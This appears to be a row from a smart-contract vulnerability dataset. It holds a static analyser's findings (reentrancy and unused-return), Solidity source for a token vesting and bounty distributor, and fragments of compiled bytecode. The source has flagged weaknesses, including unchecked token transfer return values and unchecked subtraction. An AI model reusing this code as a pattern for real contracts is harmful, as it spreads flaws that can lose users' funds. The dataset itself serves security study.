ffffffffffffffffffffffffffffffffff161415801561161d57506115ed6109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750600f60179054906101000a900460ff165b15611898576010548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190612e0d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118a3306107ba565b9050600f60159054906101000a900460ff161580156119105750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119285750600f60169054906101000a900460ff165b156119505761193681611b2f565b6000479050600081111561194e5761194d476119c6565b5b505b505b61195d838383611db7565b505050565b60008383111582906119aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a19190612b55565b60405180910390fd5b50600083856119b99190612eee565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a16600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a41573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a92600284611dc790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611abd573d6000803e3d6000fd5b5050565b6000600854821115611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff90612bb7565b60405180910390fd5b6000611b12611e11565b9050611b278184611dc790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6757611b666130c3565b5b604051908082528060200260200182016040528015611b955781602001602082028036833780820191505090505b5090503081600081518110611bad57611bac613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4f57600080fd5b505afa158015611c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8791906125bf565b81600181518110611c9b57611c9a613094565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d66959493929190612cf2565b600060405180830381600087803b158015611d8057600080fd5b505af1158015611d94573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dc2838383611e3c565b505050565b6000611e0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612007565b905092915050565b6000806000611e1e61206a565b91509150611e358183611dc790919063ffffffff16565b9250505090565b600080600080600080611e4e876120d5565b955095509550955095509550611eac86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f8d816121e5565b611f9784836122a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ff49190612cd7565b60405180910390a3505050505050505050565b6000808311829061204e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120459190612b55565b60405180910390fd5b506000838561205d9190612e63565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120a66b033b2e3c9fd0803ce8000000600854611dc790919063ffffffff16565b8210156120c8576008546b033b2e3c9fd0803ce80000009350935050506120d1565b81819350935050505b9091565b60008060008060008060008060006120f28a600a54600b546122dc565b9250925092506000612102611e11565b905060008060006121158e878787612372565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061217f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611962565b905092915050565b60008082846121969190612e0d565b9050838110156121db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d290612bf7565b60405180910390fd5b8091505092915050565b60006121ef611e11565b9050600061220682846123fb90919063ffffffff16565b905061225a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122b78260085461213d90919063ffffffff16565b6008819055506122d28160095461218790919063ffffffff16565b6009819055505050565b60008060008061230860646122fa888a6123fb90919063ffffffff16565b611dc790919063ffffffff16565b905060006123326064612324888b6123fb90919063ffffffff16565b611dc790919063ffffffff16565b9050600061235b8261234d858c61213d90919063ffffffff16565b61213d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238b85896123fb90919063ffffffff16565b905060006123a286896123fb90919063ffffffff16565b905060006123b987896123fb90919063ffffffff16565b905060006123e2826123d4858761213d90919063ffffffff16565b61213d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561240e5760009050612470565b6000828461241c9190612e94565b905082848261242b9190612e63565b1461246b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246290612c17565b60405180910390fd5b809150505b92915050565b600061248961248484612d8c565b612d67565b905080838252602082019050828560208602820111156124ac576124ab6130f7565b5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816133e4565b92915050565b60008151905061250a816133e4565b92915050565b600082601f830112612525576125246130f2565b5b8135612535848260208601612476565b91505092915050565b60008135905061254d816133fb565b92915050565b600081519050612562816133fb565b92915050565b60008135905061257781613412565b92915050565b60008151905061258c81613412565b92915050565b6000602082840312156125a8576125a7613101565b5b60006125b6848285016124e6565b91505092915050565b6000602082840312156125d5576125d4613101565b5b60006125e3848285016124fb565b91505092915050565b6000806040838503121561260357612602613101565b5b6000612611858286016124e6565b9250506020612622858286016124e6565b9150509250929050565b60008060006060848603121561264557612644613101565b5b6000612653868287016124e6565b9350506020612664868287016124e6565b925050604061267586828701612568565b9150509250925092565b6000806040838503121561269657612695613101565b5b60006126a4858286016124e6565b92505060206126b585828601612568565b9150509250929050565b6000602082840312156126d5576126d4613101565b5b600082013567ffffffffffffffff8111156126f3576126f26130fc565b5b6126ff84828501612510565b91505092915050565b60006020828403121561271e5761271d613101565b5b600061272c8482850161253e565b91505092915050565b60006020828403121561274b5761274a613101565b5b600061275984828501612553565b91505092915050565b60006020828403121561277857612777613101565b5b600061278684828501612568565b91505092915050565b6000806000606084860312156127a8576127a7613101565b5b60006127b68682870161257d565b93505060206127c78682870161257d565b92505060406127d88682870161257d565b9150509250925092565b60006127ee83836127fa565b60208301905092915050565b61280381612f22565b82525050565b61281281612f22565b82525050565b600061282382612dc8565b61282d8185612deb565b935061283883612db8565b8060005b8381101561286957815161285088826127e2565b975061285b83612dde565b92505060018101905061283c565b5085935050505092915050565b61287f81612f34565b82525050565b61288e81612f77565b82525050565b600061289f82612dd3565b6128a98185612dfc565b93506128b9818560208601612f89565b6128c281613106565b840191505092915050565b60006128da602383612dfc565b91506128e582613117565b604082019050919050565b60006128fd600c83612dfc565b915061290882613166565b602082019050919050565b6000612920602a83612dfc565b915061292b8261318f565b604082019050919050565b6000612943602283612dfc565b915061294e826131de565b604082019050919050565b6000612966601b83612dfc565b91506129718261322d565b602082019050919050565b6000612989602183612dfc565b915061299482613256565b604082019050919050565b60006129ac602083612dfc565b91506129b7826132a5565b602082019050919050565b60006129cf602983612dfc565b91506129da826132ce565b604082019050919050565b60006129f2602583612dfc565b91506129fd8261331d565b604082019050919050565b6000612a15602483612dfc565b9150612a208261336c565b604082019050919050565b6000612a38601783612dfc565b9150612a43826133bb565b602082019050919050565b612a5781612f60565b82525050565b612a6681612f6a565b82525050565b6000602082019050612a816000830184612809565b92915050565b6000604082019050612a9c6000830185612809565b612aa96020830184612809565b9392505050565b6000604082019050612ac56000830185612809565b612ad26020830184612a4e565b9392505050565b600060c082019050612aee6000830189612809565b612afb6020830188612a4e565b612b086040830187612885565b612b156060830186612885565b612b226080830185612809565b612b2f60a0830184612a4e565b979650505050505050565b6000602082019050612b4f6000830184612876565b92915050565b60006020820190508181036000830152612b6f8184612894565b905092915050565b60006020820190508181036000830152612b90816128cd565b9050919050565b60006020820190508181036000830152612bb0816128f0565b9050919050565b60006020820190508181036000830152612bd081612913565b9050919050565b60006020820190508181036000830152612bf081612936565b9050919050565b60006020820190508181036000830152612c1081612959565b9050919050565b60006020820190508181036000830152612c308161297c565b9050919050565b60006020820190508181036000830152612c508161299f565b9050919050565b60006020820190508181036000830152612c70816129c2565b9050919050565b60006020820190508181036000830152612c90816129e5565b9050919050565b60006020820190508181036000830152612cb081612a08565b9050919050565b60006020820190508181036000830152612cd081612a2b565b9050919050565b6000602082019050612cec6000830184612a4e565b92915050565b600060a082019050612d076000830188612a4e565b612d146020830187612885565b8181036040830152612d268186612818565b9050612d356060830185612809565b612d426080830184612a4e565b9695505050505050565b6000602082019050612d616000830184612a5d565b92915050565b6000612d71612d82565b9050612d7d8282612fbc565b919050565b6000604051905090565b600067ffffffffffffffff821115612da757612da66130c3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e1882612f60565b9150612e2383612f60565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e5857612e57613036565b5b828201905092915050565b6000612e6e82612f60565b9150612e7983612f60565b925082612e8957612e88613065565b5b828204905092915050565b6000612e9f82612f60565b9150612eaa83612f60565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ee357612ee2613036565b5b828202905092915050565b6000612ef982612f60565b9150612f0483612f60565b925082821015612f1757612f16613036565b5b828203905092915050565b6000612f2d82612f40565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612f8282612f60565b9050919050565b60005b83811015612fa7578082015181840152602081019050612f8c565b83811115612fb6576000848401525b50505050565b612fc582613106565b810181811067ffffffffffffffff82111715612fe457612fe36130c3565b5b80604052505050565b6000612ff882612f60565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561302b5761302a613036565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ed81612f22565b81146133f857600080fd5b50565b61340481612f34565b811461340f57600080fd5b50565b61341b81612f60565b811461342657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd5760c7215f644a0cffb18ca838bbb78e548224464bc83b6efa19c81c46697464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,472 |
0xd3b58ac11f612609ac84ff9545c9545da1480bda
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract DateTime {
function getYear(uint timestamp) public constant returns (uint16);
function getMonth(uint timestamp) public constant returns (uint8);
function getDay(uint timestamp) public constant returns (uint8);
}
contract TokenDistributor {
using SafeMath for uint256;
address public owner;
address public newOwnerCandidate;
ERC20 public token;
uint public neededAmountTotal;
uint public releasedTokenTotal;
address public approver;
uint public distributedBountyTotal;
struct DistributeList {
uint totalAmount;
uint releasedToken;
LockUpData[] lockUpData;
}
struct LockUpData {
uint amount;
uint releaseDate;
}
/*
//
// address for DateTime should be changed before contract deploying.
//
*/
//address public dateTimeAddr = 0xF0847087aAf608b4732be58b63151bDf4d548612;
//DateTime public dateTime = DateTime(dateTimeAddr);
DateTime public dateTime;
mapping (address => DistributeList) public distributeList;
/*
// events
*/
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferRequsted(address indexed previousOwner, address indexed newOwner);
event ReceiverChanged(address indexed previousReceiver, address indexed newReceiver);
event ReceiverRemoved(address indexed tokenReceiver);
event ReleaseToken(address indexed tokenReceiver, uint amount);
event BountyDistributed(uint listCount, uint amount);
/*
// modifiers
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/* constructor */
function TokenDistributor(ERC20 _tokenAddr, address _dateTimeAddr) public {
owner = msg.sender;
token = _tokenAddr;
dateTime = DateTime(_dateTimeAddr);
}
/* fallback */
function () external {
releaseToken();
}
function requestTransferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferRequsted(owner, newOwner);
newOwnerCandidate = newOwner;
}
function receiveTransferOwnership() public {
require(newOwnerCandidate == msg.sender);
emit OwnershipTransferred(owner, newOwnerCandidate);
owner = newOwnerCandidate;
}
function addLockUpData(address _receiver, uint[] _amount, uint[] _releaseDate) public payable onlyOwner {
require(_amount.length == _releaseDate.length && _receiver != address(0));
uint tokenReserve;
DistributeList storage dl = distributeList[_receiver];
// check amount of lock token
for (uint i = 0; i < _amount.length; i++) {
tokenReserve += _amount[i];
}
require(neededAmountTotal.add(tokenReserve) <= token.balanceOf(this));
for (i = 0; i < _amount.length; i++) {
dl.lockUpData.push(LockUpData(_amount[i], _releaseDate[i]));
}
dl.totalAmount += tokenReserve;
neededAmountTotal += tokenReserve;
}
function changeReceiver(address _from, address _to) public onlyOwner {
//change only when _to address has 0 amount (means new address)
require(_to != address(0) && distributeList[_to].totalAmount == 0);
distributeList[_to] = distributeList[_from];
delete distributeList[_from];
emit ReceiverChanged(_from, _to);
}
function removeReceiver(address _receiver) public onlyOwner {
require(distributeList[_receiver].totalAmount >= distributeList[_receiver].releasedToken);
//adjust neededAmountTotal when lockupdata removing.
neededAmountTotal -= (distributeList[_receiver].totalAmount).sub(distributeList[_receiver].releasedToken);
delete distributeList[_receiver];
emit ReceiverRemoved(_receiver);
}
function releaseTokenByOwner(address _tokenReceiver) public onlyOwner {
_releaseToken(_tokenReceiver);
}
function releaseToken() public {
_releaseToken(msg.sender);
}
function _releaseToken(address _tokenReceiver) internal {
DistributeList storage dl = distributeList[_tokenReceiver];
uint releasableToken;
for (uint i=0; i < dl.lockUpData.length ; i++){
if(dl.lockUpData[i].releaseDate <= now && dl.lockUpData[i].amount > 0){
releasableToken += dl.lockUpData[i].amount;
dl.lockUpData[i].amount = 0;
}
}
dl.releasedToken += releasableToken;
releasedTokenTotal += releasableToken;
neededAmountTotal -= releasableToken;
token.transfer(_tokenReceiver, releasableToken);
emit ReleaseToken(_tokenReceiver, releasableToken);
}
function transfer(address _to, uint _amount) public onlyOwner {
require(neededAmountTotal.add(_amount) <= token.balanceOf(this) && token.balanceOf(this) > 0);
token.transfer(_to, _amount);
}
//should be set for distributeBounty function. and set appropriate approve amount for bounty.
function setApprover(address _approver) public onlyOwner {
approver = _approver;
}
//should be checked approved amount and the sum of _amount
function distributeBounty(address[] _receiver, uint[] _amount) public payable onlyOwner {
require(_receiver.length == _amount.length);
uint bountyAmount;
for (uint i = 0; i < _amount.length; i++) {
distributedBountyTotal += _amount[i];
bountyAmount += _amount[i];
token.transferFrom(approver, _receiver[i], _amount[i]);
}
emit BountyDistributed(_receiver.length, bountyAmount);
}
function viewLockUpStatus(address _tokenReceiver) public view returns (uint _totalLockedToken, uint _releasedToken, uint _releasableToken) {
DistributeList storage dl = distributeList[_tokenReceiver];
uint releasableToken;
for (uint i=0; i < dl.lockUpData.length ; i++) {
if(dl.lockUpData[i].releaseDate <= now && dl.lockUpData[i].amount > 0) {
releasableToken += dl.lockUpData[i].amount;
}
}
return (dl.totalAmount, dl.releasedToken, releasableToken);
}
function viewNextRelease(address _tokenRecv) public view returns (uint _amount, uint _year, uint _month, uint _day) {
DistributeList storage dl = distributeList[_tokenRecv];
uint _releasableToken;
uint _releaseDate;
for (uint i=0; i < dl.lockUpData.length ; i++){
if(dl.lockUpData[i].releaseDate > now && dl.lockUpData[i].amount > 0){
if(_releaseDate < dl.lockUpData[i].releaseDate || _releaseDate == 0 ){
_releasableToken = dl.lockUpData[i].amount;
_releaseDate = dl.lockUpData[i].releaseDate;
}
}
}
return (_releasableToken, dateTime.getYear(_releaseDate), dateTime.getMonth(_releaseDate), dateTime.getDay(_releaseDate) );
}
function viewContractHoldingToken() public view returns (uint _amount) {
return (token.balanceOf(this));
}
}
|
0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063141a8dd81461013d5780631a38fa06146101925780631ba7013b146102215780633156560e1461024a5780634737e8521461028357806348c8cd41146102ac5780634c69ec93146103015780636552d8b4146103595780638d3121b3146103925780638da5cb5b146103bb5780639d6fa61814610410578063a543a7e514610449578063a9059cbb146104f7578063a9d9f64414610539578063c00ade4114610594578063c9cd3a48146105a9578063ca64a095146105fd578063ce510d461461065f578063d091b55014610688578063ec715a31146106dd578063f183452c146106f2578063fc0c546a1461072b575b341561013357600080fd5b61013b610780565b005b341561014857600080fd5b61015061078b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61021f600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506107b1565b005b341561022c57600080fd5b610234610a23565b6040518082815260200191505060405180910390f35b341561025557600080fd5b610281600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a29565b005b341561028e57600080fd5b610296610ac8565b6040518082815260200191505060405180910390f35b34156102b757600080fd5b6102bf610ba2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561030c57600080fd5b610357600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610bc8565b005b341561036457600080fd5b610390600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e19565b005b341561039d57600080fd5b6103a5611055565b6040518082815260200191505060405180910390f35b34156103c657600080fd5b6103ce61105b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561041b57600080fd5b610447600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611080565b005b6104f5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506111d6565b005b341561050257600080fd5b610537600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114b6565b005b341561054457600080fd5b610570600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117c4565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561059f57600080fd5b6105a76118cb565b005b34156105b457600080fd5b6105e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a28565b604051808381526020018281526020019250505060405180910390f35b341561060857600080fd5b610634600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a4c565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561066a57600080fd5b610672611daf565b6040518082815260200191505060405180910390f35b341561069357600080fd5b61069b611db5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106e857600080fd5b6106f0610780565b005b34156106fd57600080fd5b610729600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ddb565b005b341561073657600080fd5b61073e611e42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61078933611e68565b565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080f57600080fd5b8251845114151561081f57600080fd5b600090505b82518110156109dd57828181518110151561083b57fe5b90602001906020020151600660008282540192505081905550828181518110151561086257fe5b9060200190602002015182019150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686848151811015156108df57fe5b9060200190602002015186858151811015156108f757fe5b906020019060200201516040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156109b857600080fd5b5af115156109c557600080fd5b50505060405180519050508080600101915050610824565b7f9533183cd5e57ad0dc42c8191bc2c0b48645df5993eb334427748b43856abde6845183604051808381526020018281526020019250505060405180910390a150505050565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8457600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610b8657600080fd5b5af11515610b9357600080fd5b50505060405180519050905090565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c2357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610ca257506000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154145b1515610cad57600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201548160000155600182015481600101556002820181600201908054610d55929190612111565b50905050600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600090556001820160009055600282016000610db9919061217d565b50508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fd36aafedb017e43b79d3cf6aa1987d3fbb9fff33e1738c71dbf6b2abaadbded060405160405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7457600080fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410151515610f0757600080fd5b610f9e600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546120da90919063ffffffff16565b600360008282540392505081905550600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905560028201600061100d919061217d565b50508073ffffffffffffffffffffffffffffffffffffffff167f2771977f239a332de92ab37b7275685268f164e51cda8f1356692695f4708f2f60405160405180910390a250565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673